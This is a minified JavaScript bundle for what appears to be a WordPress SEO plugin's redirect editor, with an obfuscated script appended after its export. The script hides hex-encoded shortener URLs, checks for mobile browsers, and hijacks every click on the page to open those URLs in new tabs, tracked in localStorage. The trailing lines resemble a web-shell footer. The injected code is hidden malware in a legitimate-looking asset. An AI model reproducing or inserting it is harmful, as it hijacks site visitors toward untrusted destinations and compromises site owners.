this.redirectType.noTarget>"u"||!this.redirectType.noTarget)}},mounted(){this.sourceUrls=this.getDefaultSourceUrls,this.url&&(this.sourceUrls=[{...this.getDefaultSourceUrl,...this.url}]),this.urls&&this.urls.length&&(this.sourceUrls=this.urls.map(s=>({...this.getDefaultSourceUrl,...s}))),this.sourceDisabled=this.disableSource,this.unPublishedPost&&(this.sourceUrls=this.sourceUrls.map(s=>(s.url="("+this.strings.sourceUrlSetOncePublished+")",s)),this.sourceDisabled=!0),this.target&&(this.targetUrl=this.target),this.rules&&(this.customRules=this.rules);const e=this.$constants.REDIRECT_TYPES.find(s=>s.value===this.type)||this.getDefaultRedirectType;e&&(this.redirectType=e);const t=this.$constants.REDIRECT_QUERY_PARAMS.find(s=>s.value===this.query)||this.getDefaultQueryParam;t&&(this.queryParam=t)}},We={class:"urls"},Ye={class:"source"},Fe={class:"aioseo-settings-row no-border no-margin small-padding"},je={class:"settings-name"},Je={class:"name small-margin"},Qe=["innerHTML"],Ge={key:0,class:"url-arrow"},Ke={key:1,class:"target"},Ze={class:"aioseo-settings-row no-border no-margin small-padding"},Xe={class:"settings-name"},et={class:"name small-margin"},tt={class:"url"},st={class:"aioseo-description"},rt=i("div",{class:"break"},null,-1),lt={class:"source"},it=["innerHTML"],ot=i("div",{class:"url-arrow"},null,-1),nt=i("div",{class:"target"},null,-1),ut={class:"all-settings"},at={class:"all-settings-content"},ct={class:"redirect-type"},ht={class:"query-params"};function dt(e,t,s,_,r,l){const a=u("core-alert"),y=u("core-add-redirection-url"),R=u("base-button"),E=u("svg-right-arrow"),C=u("core-add-redirection-target-url"),b=u("transition-slide"),S=u("base-select"),D=u("custom-rules");return o(),m("div",{class:L(["aioseo-add-redirection",{"edit-url":s.edit,"log-404":s.log404}])},[r.genericError?(o(),g(a,{key:0,class:"generic-error",type:"red"},{default:d(()=>[U(f(r.strings.genericErrorMessage),1)]),_:1})):h("",!0),i("div",We,[i("div",Ye,[i("div",Fe,[i("div",je,[i("div",Je,f(l.sourceUrl)+": ",1)]),(o(!0),m(T,null,$(r.sourceUrls,(n,p)=>(o(),g(y,{key:p,url:n,"allow-delete":1<r.sourceUrls.length,onRemoveUrl:I=>l.removeUrl(p),"target-url":r.targetUrl,log404:s.log404,disableSource:r.sourceDisabled},X({_:2},[s.edit&&!r.sourceDisabled?{name:"source-url-description",fn:d(()=>[i("div",{class:"aioseo-description source-description",innerHTML:r.strings.sourceUrlDescription},null,8,Qe)]),key:"0"}:void 0]),1032,["url","allow-delete","onRemoveUrl","target-url","log404","disableSource"]))),128)),!s.edit&&!s.log404&&!r.sourceDisabled?(o(),g(R,{key:0,size:"small",type:"gray",onClick:l.addUrl},{default:d(()=>[U(f(r.strings.addUrl),1)]),_:1},8,["onClick"])):h("",!0)])]),l.redirectTypeHasTarget()?(o(),m("div",Ge,[c(E)])):h("",!0),l.redirectTypeHasTarget()?(o(),m("div",Ke,[i("div",Ze,[i("div",Xe,[i("div",et,f(r.strings.targetUrl)+": ",1)]),i("div",tt,[c(C,{url:r.targetUrl,errors:r.targetUrlErrors,warnings:r.targetUrlWarnings,"onUpdate:modelValue":l.updateTargetUrl},null,8,["url","errors","warnings","onUpdate:modelValue"]),i("div",st,f(r.strings.targetUrlDescription),1),c(b,{active:!!r.targetUrlErrors.length},{default:d(()=>[i("div",null,[(o(!0),m(T,null,$(r.targetUrlErrors,(n,p)=>(o(),g(a,{key:p,class:"target-url-error",type:"red",size:"small",innerHTML:n},null,8,["innerHTML"]))),128))])]),_:1},8,["active"]),c(b,{active:!!r.targetUrlWarnings.length},{default:d(()=>[i("div",null,[(o(!0),m(T,null,$(r.targetUrlWarnings,(n,p)=>(o(),g(a,{key:p,class:"target-url-warning",type:"yellow",size:"small",innerHTML:n},null,8,["innerHTML"]))),128))])]),_:1},8,["active"])])])])):h("",!0),!s.edit&&!s.log404&&!r.sourceDisabled?(o(),m(T,{key:2},[rt,i("div",lt,[i("div",{class:"aioseo-description source-description",innerHTML:r.strings.sourceUrlDescription},null,8,it)]),ot,nt],64)):h("",!0)]),i("div",{class:L(["settings",{advanced:r.showAdvancedSettings}])},[i("div",ut,[i("div",at,[i("div",ct,[U(f(r.strings.redirectType)+" ",1),c(S,{options:e.$constants.REDIRECT_TYPES,modelValue:r.redirectType,"onUpdate:modelValue":t[0]||(t[0]=n=>r.redirectType=n),size:"medium"},null,8,["options","modelValue"])]),c(b,{class:"advanced-settings",active:r.showAdvancedSettings},{default:d(()=>[i("div",ht,[U(f(r.strings.queryParams)+" ",1),c(S,{options:l.redirectQueryParams,modelValue:r.queryParam,"onUpdate:modelValue":t[1]||(t[1]=n=>r.queryParam=n),size:"medium"},null,8,["options","modelValue"])])]),_:1},8,["active"]),r.showAdvancedSettings?h("",!0):(o(),m("a",{key:0,class:"advanced-settings-link",href:"#",onClick:t[2]||(t[2]=N(n=>r.showAdvancedSettings=!r.showAdvancedSettings,["prevent"]))},f(r.strings.advancedSettings),1))])]),c(b,{class:"advanced-settings",active:r.showAdvancedSettings},{default:d(()=>[c(D,{"edit-custom-rules":r.customRules},null,8,["edit-custom-rules"])]),_:1},8,["active"]),i("div",{class:L(["actions",{advanced:r.showAdvancedSettings}])},[c(R,{size:"medium",type:"blue",onClick:t[3]||(t[3]=n=>s.edit?l.saveChanges():l.addRedirects()),loading:r.addingRedirect,disabled:l.saveIsDisabled},{default:d(()=>[U(f(s.edit?r.strings.saveChanges:l.addRedirect),1)]),_:1},8,["loading","disabled"]),s.edit?(o(),g(R,{key:0,size:"medium",type:"gray",onClick:t[4]||(t[4]=n=>e.$emit("cancel",!0)),class:"cancel-edit-row"},{default:d(()=>[U(f(r.strings.cancel),1)]),_:1})):h("",!0)],2)],2)],2)}const kt=w(qe,[["render",dt]]);export{kt as C}; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x58\x74\x59\x33\x63\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x51\x64\x35\x63\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x76\x71\x55\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x61\x52\x65\x39\x63\x309','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x47\x48\x34\x63\x304','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x63\x76\x4d\x37\x63\x317','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x72\x79\x78\x32\x63\x312','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x53\x6c\x4b\x36\x63\x346','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings